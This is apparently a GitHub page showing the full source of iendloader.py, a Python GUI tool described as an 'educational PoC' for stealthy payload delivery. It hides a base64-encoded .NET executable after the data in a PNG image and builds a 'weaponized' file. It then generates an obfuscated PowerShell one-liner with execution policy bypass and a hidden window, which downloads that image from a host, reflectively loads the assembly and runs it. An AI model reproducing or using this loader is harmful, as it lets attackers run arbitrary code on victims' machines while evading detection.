-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathiendloader.py
More file actions
573 lines (479 loc) · 20.9 KB
/
Copy pathiendloader.py
File metadata and controls
573 lines (479 loc) · 20.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
#!/usr/bin/env python3
"""
IENDLoader - Modern UI Edition
Educational PoC - Stealthy payload delivery interface with sleek animations
"""
import customtkinter as ctk
from tkinter import filedialog, messagebox
import base64
import threading
from pathlib import Path
import socket
import time
import random
import string
# Set appearance
ctk.set_appearance_mode("dark")
ctk.set_default_color_theme("green")
class IENDLoaderApp(ctk.CTk):
def __init__(self):
super().__init__()
# Window setup
self.title("IENDLoader")
self.geometry("800x650")
self.resizable(True, True)
self.minsize(700, 550) # Minimum size to keep UI usable
# State
self.payload_path = None
self.image_path = None
self.weaponized_path = None
self.animation_running = False
self.auto_entry_point = True # Toggle for automatic entry point discovery
self.custom_entry_point = "" # Custom entry point if manual
self.setup_ui()
def setup_ui(self):
"""Create modern UI with animations"""
# Header Frame
header_frame = ctk.CTkFrame(self, fg_color="transparent")
header_frame.pack(pady=20, padx=20, fill="x")
# Animated title
self.title_label = ctk.CTkLabel(
header_frame,
text="IENDLOADER",
font=ctk.CTkFont(size=32, weight="bold"),
text_color=("#00ff00", "#00cc00")
)
self.title_label.pack(pady=(5, 0), anchor="center", expand=True)
self.subtitle_label = ctk.CTkLabel(
header_frame,
text="Hide .NET Stubs in PNGs",
font=ctk.CTkFont(size=14),
text_color=("#888888", "#666666"),
justify="center")
self.subtitle_label.pack(pady=(5, 0), anchor="center", expand=True)
# Scrollable frame for main content
scrollable_frame = ctk.CTkScrollableFrame(
self,
fg_color="transparent",
scrollbar_button_color=("#2b2b2b", "#1a1a1a"),
scrollbar_button_hover_color=("#3b3b3b", "#2a2a2a")
)
scrollable_frame.pack(pady=10, padx=30, fill="both", expand=True)
# Main container inside scrollable frame
main_container = scrollable_frame
# Step 1: Select Payload
self.create_step_frame(
main_container,
"1. Select .NET Assembly",
"Choose your payload executable"
)
payload_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
payload_frame.pack(pady=(0, 20), fill="x")
self.payload_label = ctk.CTkLabel(
payload_frame,
text="No payload selected",
font=ctk.CTkFont(size=12),
text_color=("#666666", "#444444")
)
self.payload_label.pack(side="left", padx=15, pady=15)
self.payload_btn = ctk.CTkButton(
payload_frame,
text="Browse",
command=self.select_payload,
width=100,
height=32,
corner_radius=6
)
self.payload_btn.pack(side="right", padx=15, pady=15)
# Step 2: Select Image
self.create_step_frame(
main_container,
"2. Select Cover Image",
"PNG file to hide the payload"
)
image_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
image_frame.pack(pady=(0, 20), fill="x")
self.image_label = ctk.CTkLabel(
image_frame,
text="No image selected",
font=ctk.CTkFont(size=12),
text_color=("#666666", "#444444")
)
self.image_label.pack(side="left", padx=15, pady=15)
self.image_btn = ctk.CTkButton(
image_frame,
text="Browse",
command=self.select_image,
width=100,
height=32,
corner_radius=6
)
self.image_btn.pack(side="right", padx=15, pady=15)
# Step 3: Embed
self.create_step_frame(
main_container,
"3. Create Weaponized Image",
"Embed payload into cover image"
)
embed_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
embed_frame.pack(pady=(0, 20), fill="x")
self.embed_btn = ctk.CTkButton(
embed_frame,
text="⚙ Embed Payload",
command=self.embed_payload,
width=150,
height=36,
corner_radius=6,
font=ctk.CTkFont(size=13, weight="bold")
)
self.embed_btn.pack(side="left", padx=15, pady=15)
self.embed_status = ctk.CTkLabel(
embed_frame,
text="",
font=ctk.CTkFont(size=12),
text_color=("#666666", "#444444")
)
self.embed_status.pack(side="left", padx=10, pady=15)
# Progress bar (hidden initially)
self.progress_bar = ctk.CTkProgressBar(
embed_frame,
width=200,
height=8,
corner_radius=4
)
self.progress_bar.set(0)
# Step 3.5: Entry Point Configuration
self.create_step_frame(
main_container,
"3.5 Entry Point Configuration",
"Configure how to find the payload entry point"
)
entrypoint_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
entrypoint_frame.pack(pady=(0, 20), fill="x")
# Toggle switch for auto-discovery
toggle_container = ctk.CTkFrame(entrypoint_frame, fg_color="transparent")
toggle_container.pack(side="left", padx=15, pady=15)
ctk.CTkLabel(
toggle_container,
text="Auto-discover entry point:",
font=ctk.CTkFont(size=12),
text_color=("#cccccc", "#aaaaaa")
).pack(side="left", padx=(0, 10))
self.entry_point_switch = ctk.CTkSwitch(
toggle_container,
text="",
command=self.toggle_entry_point,
width=50,
height=24
)
self.entry_point_switch.select() # Default: ON
self.entry_point_switch.pack(side="left")
# Manual entry point input (hidden by default)
self.entry_point_input_frame = ctk.CTkFrame(entrypoint_frame, fg_color="transparent")
ctk.CTkLabel(
self.entry_point_input_frame,
text="Entry Point:",
font=ctk.CTkFont(size=12),
text_color=("#cccccc", "#aaaaaa")
).pack(side="left", padx=(15, 5))
self.entry_point_entry = ctk.CTkEntry(
self.entry_point_input_frame,
placeholder_text="e.g., Client.Program.Main",
width=250,
height=32,
corner_radius=6,
font=ctk.CTkFont(size=11)
)
self.entry_point_entry.pack(side="left", padx=5)
# Step 4: Image URL
self.create_step_frame(
main_container,
"4. Hosted Image URL",
"Enter the URL where weaponized image is hosted"
)
url_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
url_frame.pack(pady=(0, 20), fill="x")
self.url_entry = ctk.CTkEntry(
url_frame,
placeholder_text="http://192.168.1.100:8080/weaponized.png",
height=36,
corner_radius=6,
font=ctk.CTkFont(size=12)
)
self.url_entry.pack(side="left", padx=15, pady=15, fill="x", expand=True)
# Auto-fill button
self.autofill_btn = ctk.CTkButton(
url_frame,
text="Auto-fill",
command=self.autofill_url,
width=100,
height=32,
corner_radius=6
)
self.autofill_btn.pack(side="right", padx=15, pady=15)
# Step 5: One-Liner
self.create_step_frame(
main_container,
"5. PowerShell One-Liner",
"Base64 encoded command - no script file required"
)
cmd_frame = ctk.CTkFrame(main_container, fg_color=("#2b2b2b", "#1a1a1a"))
cmd_frame.pack(pady=(0, 10), fill="both", expand=True)
self.cmd_textbox = ctk.CTkTextbox(
cmd_frame,
height=100,
corner_radius=6,
font=ctk.CTkFont(family="Consolas", size=10),
fg_color=("#1a1a1a", "#0a0a0a"),
wrap="word"
)
self.cmd_textbox.pack(padx=15, pady=15, fill="both", expand=True)
self.cmd_textbox.insert("1.0", "Click 'Generate PowerShell One-Liner' button below...")
self.cmd_textbox.configure(state="disabled")
# Button container
button_container = ctk.CTkFrame(cmd_frame, fg_color="transparent")
button_container.pack(padx=15, pady=(0, 15))
# Generate button
self.generate_btn = ctk.CTkButton(
button_container,
text="⚡ Generate PowerShell One-Liner",
command=self.generate_command,
width=250,
height=36,
corner_radius=6,
font=ctk.CTkFont(size=13, weight="bold"),
fg_color=("#0066cc", "#0055aa"),
hover_color=("#0088ff", "#0066cc")
)
self.generate_btn.pack(side="left", padx=(0, 10))
# Copy button
self.copy_btn = ctk.CTkButton(
button_container,
text="📋 Copy to Clipboard",
command=self.copy_command,
width=180,
height=36,
corner_radius=6,
font=ctk.CTkFont(size=13, weight="bold"),
fg_color=("#00aa00", "#008800"),
hover_color=("#00cc00", "#00aa00")
)
self.copy_btn.pack(side="left")
# Status bar
self.status_bar = ctk.CTkLabel(
self,
text="Ready",
font=ctk.CTkFont(size=11),
text_color=("#00ff00", "#00cc00"),
anchor="w"
)
self.status_bar.pack(side="bottom", fill="x", padx=20, pady=10)
def create_step_frame(self, parent, title, description):
"""Create a step header with title and description"""
step_frame = ctk.CTkFrame(parent, fg_color="transparent")
step_frame.pack(pady=(10, 5), fill="x")
title_label = ctk.CTkLabel(
step_frame,
text=title,
font=ctk.CTkFont(size=15, weight="bold"),
text_color=("#00ff00", "#00cc00"),
anchor="w"
)
title_label.pack(anchor="w")
desc_label = ctk.CTkLabel(
step_frame,
text=description,
font=ctk.CTkFont(size=11),
text_color=("#888888", "#666666"),
anchor="w"
)
desc_label.pack(anchor="w")
def toggle_entry_point(self):
"""Toggle between auto-discovery and manual entry point"""
self.auto_entry_point = self.entry_point_switch.get()
if self.auto_entry_point:
# Hide manual input
self.entry_point_input_frame.pack_forget()
self.update_status("✓ Auto-discovery enabled")
else:
# Show manual input
self.entry_point_input_frame.pack(side="left", padx=15, pady=15)
self.update_status("⚠ Manual entry point - specify target method")
def select_payload(self):
"""Select .NET assembly payload"""
path = filedialog.askopenfilename(
title="Select .NET Assembly",
filetypes=[("Executable files", "*.exe"), ("DLL files", "*.dll"), ("All files", "*.*")]
)
if path:
self.payload_path = path
filename = Path(path).name
self.payload_label.configure(text=filename, text_color=("#00ff00", "#00cc00"))
self.update_status(f"✓ Payload selected: {filename}")
self.animate_button(self.payload_btn)
def select_image(self):
"""Select cover image"""
path = filedialog.askopenfilename(
title="Select Cover Image",
filetypes=[("PNG files", "*.png"), ("All files", "*.*")]
)
if path:
self.image_path = path
filename = Path(path).name
self.image_label.configure(text=filename, text_color=("#00ff00", "#00cc00"))
self.update_status(f"✓ Image selected: {filename}")
self.animate_button(self.image_btn)
def embed_payload(self):
"""Embed payload into image"""
if not self.payload_path or not self.image_path:
messagebox.showerror("Error", "Please select both payload and image first")
return
# Ask for output location
default_name = f"weaponized_{Path(self.image_path).stem}.png"
output_path = filedialog.asksaveasfilename(
title="Save Weaponized Image",
defaultextension=".png",
initialfile=default_name,
filetypes=[("PNG files", "*.png")]
)
if not output_path:
return
# Show progress bar
self.progress_bar.pack(side="left", padx=10, pady=15)
self.embed_status.configure(text="Embedding...", text_color=("#ffaa00", "#ff8800"))
# Run embedding in thread
thread = threading.Thread(target=self._embed_thread, args=(output_path,))
thread.daemon = True
thread.start()
def _embed_thread(self, output_path):
"""Thread for embedding operation with progress animation"""
try:
# Animate progress
for i in range(0, 50, 10):
self.progress_bar.set(i / 100)
time.sleep(0.1)
# Read image
with open(self.image_path, 'rb') as f:
image_data = f.read()
self.progress_bar.set(0.6)
# Read payload
with open(self.payload_path, 'rb') as f:
payload_data = f.read()
self.progress_bar.set(0.7)
# Base64 encode
encoded_payload = base64.b64encode(payload_data).decode('ascii')
self.progress_bar.set(0.8)
# Create marker-wrapped payload
embedded_data = f"BaseStart-{encoded_payload}-BaseEnd"
# Combine
weaponized_image = image_data + embedded_data.encode('ascii')
self.progress_bar.set(0.9)
# Write output
with open(output_path, 'wb') as f:
f.write(weaponized_image)
self.progress_bar.set(1.0)
time.sleep(0.3)
self.weaponized_path = output_path
# Update UI
self.after(0, lambda: self.embed_status.configure(
text=f"✓ {Path(output_path).name}",
text_color=("#00ff00", "#00cc00")
))
self.after(0, lambda: self.update_status(
f"✓ Weaponized image created: {Path(output_path).name}"
))
self.after(0, lambda: self.progress_bar.pack_forget())
self.after(0, lambda: self.animate_button(self.embed_btn))
self.after(0, self.autofill_url)
self.after(0, lambda: self.update_status("✓ Ready to generate PowerShell command"))
except Exception as e:
self.after(0, lambda: messagebox.showerror("Error", f"Embedding failed: {e}"))
self.after(0, lambda: self.embed_status.configure(
text="Failed",
text_color=("#ff0000", "#cc0000")
))
self.after(0, lambda: self.progress_bar.pack_forget())
def autofill_url(self):
"""Auto-fill URL with local IP and weaponized image filename"""
if not self.weaponized_path:
return
# Get local IP
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
local_ip = s.getsockname()[0]
s.close()
except:
local_ip = "192.168.1.100"
filename = Path(self.weaponized_path).name
url = f"http://{local_ip}:8080/{filename}"
self.url_entry.delete(0, "end")
self.url_entry.insert(0, url)
def generate_command(self):
"""Generate stealthy PowerShell one-liner"""
url = self.url_entry.get().strip()
if not url:
messagebox.showwarning("Missing URL", "Please enter the hosted image URL first")
return
self.update_status("⚡ Generating stealthy PowerShell command...")
self.animate_button(self.generate_btn)
# Generate random variable names for obfuscation
def rand_var():
return ''.join(random.choices(string.ascii_lowercase, k=2))
v1, v2, v3, v4, v5, v6, v7, v8, v9 = [rand_var() for _ in range(9)]
# Create obfuscated inline PowerShell script
if self.auto_entry_point:
# Auto-discovery mode with max stealth
inline_script = f'''${v1}=New-Object Net.WebClient;${v1}.Encoding=[Text.Encoding]::UTF8;${v2}=${v1}.DownloadString('{url}');if(${v2}-match('Ba'+'se'+'Start'+'-'+'(.*)'+'-'+'Ba'+'se'+'End')){{${v3}=$matches[1];${v4}=[Convert]::('From'+'Base'+'64String').Invoke(${v3});${v5}=[Reflection.Assembly]::('Lo'+'ad').Invoke(${v4});${v6}=${v5}.EntryPoint;if(!${v6}){{${v5}.GetTypes()|%{{${v7}=$_;${v7}.GetMethods([Reflection.BindingFlags]'Static,Public,NonPublic')|?{{$_.Name-eq('Ma'+'in')}}|%{{${v6}=$_}}}}}};if(${v6}){{${v8}=${v6}.GetParameters();if(${v8}.Length-eq0){{${v6}.Invoke($null,$null)}}else{{${v6}.Invoke($null,@(,[string[]]@()))}}}}}}'''
else:
# Manual entry point mode with max stealth
entry_point = self.entry_point_entry.get().strip()
if not entry_point:
entry_point = "Client.Program.Main"
parts = entry_point.split('.')
if len(parts) < 2:
messagebox.showwarning("Invalid Entry Point", "Entry point must be in format: Namespace.Class.Method")
return
method_name = parts[-1]
type_name = '.'.join(parts[:-1])
inline_script = f'''${v1}=New-Object Net.WebClient;${v1}.Encoding=[Text.Encoding]::UTF8;${v2}=${v1}.DownloadString('{url}');if(${v2}-match('Ba'+'se'+'Start'+'-'+'(.*)'+'-'+'Ba'+'se'+'End')){{${v3}=$matches[1];${v4}=[Convert]::('From'+'Base'+'64String').Invoke(${v3});${v5}=[Reflection.Assembly]::('Lo'+'ad').Invoke(${v4});${v6}=${v5}.GetType('{type_name}');if(${v6}){{${v7}=${v6}.GetMethod('{method_name}',[Reflection.BindingFlags]'Static,Public,NonPublic');if(${v7}){{${v8}=${v7}.GetParameters();if(${v8}.Length-eq0){{${v7}.Invoke($null,$null)}}else{{${v7}.Invoke($null,@(,[string[]]@()))}}}}}}}}'''
# Use direct execution instead of EncodedCommand (stealthier)
# Escape quotes for command line
escaped_script = inline_script.replace('"', '`"')
# Generate final command - no -EncodedCommand flag
command = f'''powershell.exe -NoP -NonI -W 1 -Exec Bypass -Command "{escaped_script}"'''
self.cmd_textbox.configure(state="normal")
self.cmd_textbox.delete("1.0", "end")
self.cmd_textbox.insert("1.0", command)
self.cmd_textbox.configure(state="disabled")
self.update_status("✓ PowerShell command generated successfully!")
def copy_command(self):
"""Copy command to clipboard"""
command = self.cmd_textbox.get("1.0", "end").strip()
if command and not command.startswith('Click'):
self.clipboard_clear()
self.clipboard_append(command)
self.update_status("✓ Command copied to clipboard")
self.animate_button(self.copy_btn)
else:
messagebox.showwarning("Warning", "Generate the command first")
def update_status(self, message):
"""Update status bar with animation"""
self.status_bar.configure(text=message)
# Pulse animation
self.animate_status()
def animate_button(self, button):
"""Animate button on action"""
original_color = button.cget("fg_color")
button.configure(fg_color=("#00ff00", "#00cc00"))
self.after(200, lambda: button.configure(fg_color=original_color))
def animate_status(self):
"""Pulse animation for status bar"""
colors = [("#00ff00", "#00cc00"), ("#00cc00", "#00aa00"), ("#00ff00", "#00cc00")]
for i, color in enumerate(colors):
self.after(i * 100, lambda c=color: self.status_bar.configure(text_color=c))
def main():
app = IENDLoaderApp()
app.mainloop()
if __name__ == "__main__":
main()